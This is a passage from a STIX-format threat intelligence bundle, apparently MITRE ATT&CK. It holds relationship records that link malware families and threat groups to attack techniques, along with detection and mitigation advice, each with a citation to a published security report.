2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.258Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can capture passwords from common web browsers such as Internet Explorer, Google Chrome, and Firefox.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8911df73-17ac-430b-b1d5-3a021bc64998","created":"2022-08-16T19:25:14.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"NCSC GCHQ Small Sieve Jan 2022","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T16:28:19.626Z","description":"(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: NCSC GCHQ Small Sieve Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--891217a4-3822-4345-b77f-448f41fd9361","type":"relationship","created":"2019-01-29T18:44:05.133Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html","source_name":"Talos Agent Tesla Oct 2018"},{"source_name":"DigiTrust Agent Tesla Jan 2017","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."},{"source_name":"Fortinet Agent Tesla June 2017","url":"https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html","description":"Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."},{"source_name":"Bitdefender Agent Tesla April 2020","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."},{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-11T22:07:41.427Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can log keystrokes on the victim’s machine.(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)(Citation: SentinelLabs Agent Tesla Aug 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--89173790-d49a-4ef4-8d14-0fcab9ad8164","created":"2022-04-19T19:07:07.391Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.","modified":"2022-04-19T19:07:07.391Z","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--891a97f1-d3e2-45ff-a079-43dcad21a175","type":"relationship","created":"2017-05-31T21:33:27.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-dropping-elephant-actor/75328/","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant – aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.","source_name":"Securelist Dropping Elephant"}],"modified":"2020-03-19T19:58:58.101Z","description":"A [Patchwork](https://attack.mitre.org/groups/G0040) payload was packed with UPX.(Citation: Securelist Dropping Elephant)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--891f37e3-9c72-4eed-8fcc-8106dc360a97","type":"relationship","created":"2020-07-15T20:10:03.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Juniper IcedID June 2020","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}],"modified":"2020-07-15T20:10:03.852Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has called ZwWriteVirtualMemory, ZwProtectVirtualMemory, ZwQueueApcThread, and NtResumeThread to inject itself into a remote process.(Citation: Juniper IcedID June 2020)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--891f701a-b0d3-408a-8e2c-e9d9e727930e","type":"relationship","created":"2019-02-07T14:02:20.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"SecureAuth. (n.d.). Retrieved January 15, 2019.","url":"https://www.secureauth.com/labs/open-source-tools/impacket","source_name":"Impacket Tools"}],"modified":"2019-04-18T21:49:12.805Z","description":"[Impacket](https://attack.mitre.org/software/S0357)'s wmiexec module can be used to execute commands through WMI.(Citation: Impacket Tools)","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89210061-1ce3-4fdf-af84-2afee2062296","type":"relationship","created":"2019-04-24T20:48:39.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.533Z","description":"[jRAT](https://attack.mitre.org/software/S0283) payloads have been packed.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89210755-a9d6-4f6d-b485-1484a0d6db55","created":"2024-02-15T13:42:27.606Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-15T13:42:27.606Z","description":"Where possible, consider enforcing the use of container services in rootless mode to limit the possibility of privilege escalation or malicious effects on the host running the container. ","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8925d506-5fa7-4d8d-82bd-09c650029469","created":"2022-10-13T14:53:56.670Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:53:56.670Z","description":"[PcShare](https://attack.mitre.org/software/S1050) has used `rundll32.exe` for execution.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--892763cd-4967-49f6-b8a8-212a6f18a19b","type":"relationship","created":"2021-08-31T22:15:50.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-08-31T22:15:50.362Z","description":"\n[Lokibot](https://attack.mitre.org/software/S0447) has utilized multiple techniques to bypass UAC.(Citation: Talos Lokibot Jan 2021)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--892ff1d1-3da9-489e-89c3-374ab07a417b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:09.541Z","description":"[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect and exfiltrate emails from Outlook.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--893007dc-42e4-4667-a179-95d3890286e7","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for DNS traffic to/from known-bad or suspicious domains and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89328749-11c5-416d-99b9-f3039afc487a","created":"2019-09-23T23:08:25.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T18:59:05.403Z","description":"[APT41](https://attack.mitre.org/groups/G0096) created a RAR archive of targeted files for exfiltration.(Citation: FireEye APT41 Aug 2019) Additionally, [APT41](https://attack.mitre.org/groups/G0096) used the makecab.exe utility to both download tools, such as NATBypass, to the victim network and to archive a file for exfiltration.(Citation: apt41_dcsocytec_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8933e64e-6a0d-4cd1-8cab-514424f22410","type":"relationship","created":"2020-03-14T18:19:53.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T18:19:53.327Z","relationship_type":"revoked-by","source_ref":"attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89363ca8-1cf3-4c40-972c-6e2787a05b43","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html","description":"Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.","source_name":"FireEye APT28 Hospitality Aug 2017"},{"source_name":"US District Court Indictment GRU Oct 2018","url":"https://www.justice.gov/opa/page/file/1098481/download","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}],"modified":"2020-10-06T19:05:11.587Z","description":"(Citation: FireEye APT28 Hospitality Aug 2017)(Citation: US District Court Indictment GRU Oct 2018) ","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--893c9a7a-7f2c-4b96-877e-06870d5f989f","type":"relationship","created":"2020-06-25T17:48:41.211Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."},{"source_name":"SANS Windshift August 2018","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf","description":"Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."}],"modified":"2020-06-25T17:48:41.211Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used revoked certificates to sign malware.(Citation: objective-see windtail1 dec 2018)(Citation: SANS Windshift August 2018)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89423e8b-a8bb-4658-88f7-70cd6912f61f","type":"relationship","created":"2020-01-15T18:00:33.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-15T18:00:33.973Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--89424d69-a426-4f76-9e7f-7b2dabe459be","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cisco DNSMessenger March 2017","url":"http://blog.talosintelligence.com/2017/03/dnsmessenger.html","description":"Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017."},{"source_name":"FireEye FIN7 March 2017","url":"https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor.(Citation: FireEye FIN7 March 2017)(Citation: Cisco DNSMessenger March 2017)","modified":"2022-07-20T20:06:44.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--17e919aa-4a49-445c-b103-dbb8df9e7351","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89433640-bf49-48b3-9f26-76423cd36f77","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Hacking Team UEFI","description":"Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/"}],"modified":"2019-12-20T13:42:28.087Z","description":"[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.(Citation: TrendMicro Hacking Team UEFI)","relationship_type":"uses","source_ref":"malware--4b62ab58-c23b-4704-9c15-edd568cd59f8","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--89446c0a-0f1b-4d04-92fb-a04c6b16e474","created":"2022-04-06T18:53:33.988Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used a variety of open-source remote access Trojans for its operations.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T18:55:59.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--894e96b2-2dac-4958-8f14-8eacf169b9b6","type":"relationship","created":"2021-08-25T21:30:06.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."},{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-12T12:59:03.414Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) is triggered by an incoming TCP connection to a legitimate service from a specific source port.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021) ","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89500cd9-c663-4b3e-bb20-b8fe1860891a","created":"2021-01-29T18:17:07.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Indrik November 2018","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"},{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T18:12:53.651Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used Group Policy Objects to deploy batch scripts.(Citation: Crowdstrike Indrik November 2018)(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89542015-da32-4038-88f5-394ee86ae358","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89544a80-5144-443a-9560-ab8b7a87fa96","created":"2023-08-17T17:17:55.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-10T17:09:38.929Z","description":"[QUIETEXIT](https://attack.mitre.org/software/S1084) can use an inverse negotiated SSH connection as part of its C2.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"malware--4816d361-f82b-4a18-aa05-b215e7cf9200","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89567fdb-433a-4821-85bb-a4a9f55cfef5","type":"relationship","created":"2021-10-13T21:34:46.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro KillDisk 1","url":"https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html","description":"Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021."}],"modified":"2021-10-13T21:34:46.747Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) uses VMProtect to make reverse engineering the malware more difficult.(Citation: Trend Micro KillDisk 1)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89574823-b59e-4a8e-87b1-8bbb9531b603","created":"2023-02-09T17:00:57.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, 